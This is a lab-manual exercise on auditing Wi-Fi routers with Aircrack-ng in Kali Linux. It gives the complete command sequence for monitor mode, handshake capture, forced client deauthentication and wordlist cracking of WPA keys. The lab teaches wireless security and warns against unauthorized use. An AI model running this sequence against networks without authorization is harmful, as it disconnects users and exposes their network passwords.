

EXPERIMENT – 10

Perform Wireless Audit on Routers and Decrypt WPA Keys Using Aircrack-ng in Kali Linux(Educational Demonstration)

Aim

To perform a wireless security audit on Wi-Fi routers and demonstrate WPA/WPA2 key cracking using the Aircrack-ng suite in Kali Linux with an external USB Wi-Fi adapter.

Software Requirements

- **Host Operating System:** Windows / Linux / macOS
- **Virtualization Software:** Oracle VirtualBox
- **Guest Operating System:** Kali Linux
- **Wireless Audit Tool:** Aircrack-ng
- **Hardware Requirement:** External USB Wi-Fi Adapter (Monitor Mode supported)
- **System Requirements:**
 - RAM: Minimum 4 GB (8 GB recommended)
 - Disk Space: Minimum 30 GB
 - Processor: Intel/AMD with Virtualization support

Introduction

Wireless networks are widely used but are vulnerable to attacks if weak encryption or passwords are used.

Aircrack-ng is a suite of tools used for monitoring, attacking, testing, and cracking Wi-Fi networks.

This experiment demonstrates how WPA/WPA2 handshakes can be captured and cracked to analyze the strength of wireless security.

Kali Linux with an external Wi-Fi adapter provides a controlled environment for ethical wireless security testing.

Procedure

Step 1: Start Kali Linux Virtual Machine

1. Open Oracle VirtualBox.
2. Start Kali Linux.
3. Connect the external USB Wi-Fi adapter and attach it to the VM.

Step 2: Verify Wireless Adapter

1. Open Terminal.
2. Check wireless interfaces:
3. `iwconfig`
4. Identify the wireless interface (e.g., wlan0).

Step 3: Enable Monitor Mode

1. Enable monitor mode:
2. `sudo airmon-ng start wlan0`
3. Monitor interface (e.g., wlan0mon) is created.

Step 4: Scan Nearby Wireless Networks

1. Scan for Wi-Fi networks:
2. `sudo airodump-ng wlan0mon`
3. Note the **BSSID**, **Channel**, and **Encryption type** of the target network.

Step 5: Capture WPA Handshake

1. Lock onto the target network:
2. `sudo airodump-ng -c <channel> --bssid <BSSID> -w capture wlan0mon`
3. Wait for a client to connect, or deauthenticate a client.

Step 6: Deauthenticate Client (Optional)

1. Force client reconnection:
2. `sudo aireplay-ng --deauth 5 -a <BSSID> wlan0mon`
3. WPA handshake is captured.

Step 7: Crack WPA Key

1. Use Aircrack-ng with a wordlist:
2. `sudo aircrack-ng capture-01.cap -w /usr/share/wordlists/rockyou.txt`
3. Observe password cracking process.

Step 8: Stop Monitor Mode

1. Stop monitor mode:
2. `sudo airmon-ng stop wlan0mon`

Output

- WPA/WPA2 handshake successfully captured.
- Password cracking attempt performed.
- Weak passwords are recovered successfully.

Result

Wireless auditing and WPA key decryption were successfully demonstrated using the Aircrack-ng tool in Kali Linux.

The experiment highlights the importance of strong passwords and secure wireless encryption methods.

Reference

<https://www.kali.org/tools/aircrack-ng/>

 **Important Note**

This experiment is conducted **strictly for academic and ethical purposes** on authorized networks only. Unauthorized wireless attacks are illegal.